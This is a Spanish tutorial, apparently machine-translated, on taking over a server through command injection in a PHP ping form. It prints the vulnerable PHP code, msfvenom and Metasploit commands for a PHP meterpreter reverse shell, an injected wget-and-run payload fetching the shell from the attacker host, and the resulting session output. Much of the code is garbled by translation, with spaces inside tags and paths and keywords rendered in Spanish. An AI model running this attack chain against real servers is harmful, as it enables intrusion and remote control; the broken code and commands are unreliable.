Introducción
Descripción
En este tutorial, aprenderás cómo tomar el control de un servidor que es vulnerable a una vulnerabilidad de inyección de comandos.
Medio ambiente
El siguiente tutorial ha sido probado en el siguiente entorno:
- atacante:
- Dirección IP: 192.168.1.43
- Distribución: BackTrack 5 R3
- objetivo
- Dirección IP: 192.168.1.16
- Distribución: Debian 6
Ejemplo
Código
<html>
<head>
<title> ping host </ title>
</ Head>
<body>
<form method="get" action="">
<input type="text" /> name="host"
<input type="submit" value="ping host" />
</ Form>
<? Php
if (isset ($ _GET ['host'])) {
$ Salida = shell_exec ("ping-c1" $ _GET ['host'].);
echo "<pre> $ salida </ pre>";
}
?>
</ Body>
</ Html>
El uso normal
En el uso normal, esta aplicación se supone para generar el resultado del comando ping contra un host solicitado:
Vulnerabilidad
Este código es vulnerable, ya que no desinfectar las entradas del usuario. Es posible inyectar otros comandos:
Explotación
Crear shell con msfvenom
Vamos a aprovechar esta vulnerabilidad para descargar un shell inversa PHP. Pero en primer lugar crear el shell con msfvenom :
root @ bt: ~ # msfvenom-p php / meterpreter / reverse_tcp-f lhost prima = 192.168.1.43 lport = 4050> / var / www / shell.txt root @ bt: ~ # cabeza / var / www / shell.txt # <? Php error_reporting (0); # El controlador de carga sobrescribirá con el lhost correcto antes de enviar # A la víctima. $ Ip = '192 .168.1.43 '; $ Port = 4050; $ Ipf = AF_INET; si (== FALSE strpos ($ ip,! ":")) {
Como se puede ver, la primera línea está comentada. Vamos a quitar el comentario:
root @ bt: ~ # sed-i '¡¯ s / # <php / <php /' / var / www / shell.txt
Iniciar servidor web en la máquina del atacante
Aunque sería posible alojar nuestro shell PHP en una tercera parte, es conveniente en nuestro tutorial de ser el anfitrión de la máquina del atacante directamente. Vamos a comenzar nuestro servidor web:
root @ bt: ~ # servicio apache2 inicio * Inicio del servidor web apache2 [OK]
Comience escuchando en el puerto 4050 de la máquina del atacante
De BT5, abramos nuestro oyente:
root @ bt: ~ # msfconsole msf> use multi / handler exploit msf (manejador)> set payload php / meterpreter / reverse_tcp msf exploit (manejador)> set lhost 192.168.1.43 msf exploit (manejador)> set lport 4050 msf exploit (manejador )> explotar [*] Started inversa controlador en 192.168.1.43:4050 [*] A partir del controlador de carga útil ...
Descarga shell desde el host vulnerable
Vamos a aprovechar la vulnerabilidad y descargar el shell del servidor web del atacante. Escriba el siguiente comando en el campo "máquina":
; Http://192.168.1.43/shell.txt wget-O / tmp / shell.php; php-f / tmp / shell.php
El comando anterior descarga shell.txt como shell.php en el directorio / tmp y ejecutar el shell php (php-f / tmp / shell.php)
Pruebe el shell inversa
Ahora tenemos un meterpreter:
...
[*] Envío etapa (38791 bytes) para 192.168.1.16
[*] Periodo de sesiones Meterpreter 1 abierto (192.168.1.43:4050 -> 192.168.1.16:40107) en 05/05/2012 21:02:34 -0400
meterpreter> sysinfo
Equipo: snort
OS: Linux snort 2.6.32-5-686 # 1 SMP Lun Ene 16 16:04:25 UTC 2012 i686
Meterpreter: php / php
meterpreter> shell
Proceso 3845 creado.
Canal creado 0.
/ Sbin / ifconfig
eth0 Link a encap: Ethernet HWaddr 00:0 c: 29:97:32:0 f
inet addr: 192.168.60.129 Bcast: 192.168.60.255 Máscara: 255.255.255.0
inet6 addr: fe80 :: 20c: 29ff: fe97: 320f/64 Alcance: Enlace
UP BROADCAST RUNNING MULTICAST MTU: 1500 Métrica: 1
RX packets: 530 errors: 0 caído: 0 sobrecostos: 0 frame: 0
TX paquetes: 285 errores: 0 caído: 0 sobrecostos: 0 carrier: 0
colisiones: 0 txqueuelen: 1000
RX bytes: 62923 (61.4 KiB) TX bytes: 31150 (30.4 KiB)
Interrupción: 19 Dirección base: 0x2000
eth1 Enlace encap: Ethernet HWaddr 00:0 c: 29:97:32:19
inet addr: 192.168.1.16 Bcast: 192.168.1.255 Máscara: 255.255.255.0
inet6 addr: 2a01: e35: 8b15: 3430:20 c: 29ff: fe97: 3219/64 Scope: Global
inet6 addr: fe80 :: 20c: 29ff: fe97: 3219/64 Alcance: Vínculo
UP BROADCAST RUNNING MULTICAST MTU: 1500 Métrica: 1
RX packets: 9694 errors: 0 caído: 0 sobrecostos: 0 frame: 0
TX paquetes: 3451 errores: 0 caído: 0 sobrecostos: 0 carrier: 0
colisiones: 0 txqueuelen: 1000
RX bytes: 2119587 (2,0 MiB) TX bytes: 1297681 (1.2 MiB)
Interrupción: 16 Dirección base: 0x2080
lo Link encap: Bucle local
inet addr: 127.0.0.1 Máscara: 255.0.0.0
inet6 ::: 1/128 Alcance: Anfitrión
ARRIBA LOOPBACK RUNNING MTU: 16436 Metric: 1
RX packets: 2597 errors: 0 caído: 0 sobrecostos: 0 frame: 0
TX paquetes: 2597 errores: 0 caído: 0 sobrecostos: 0 carrier: 0
colisiones: 0 txqueuelen: 0
RX bytes: 365075 (356.5 KiB) TX bytes: 365075 (356.5 Kb)
Fuente: Aldreid
0 comentarios:
Publicar un comentario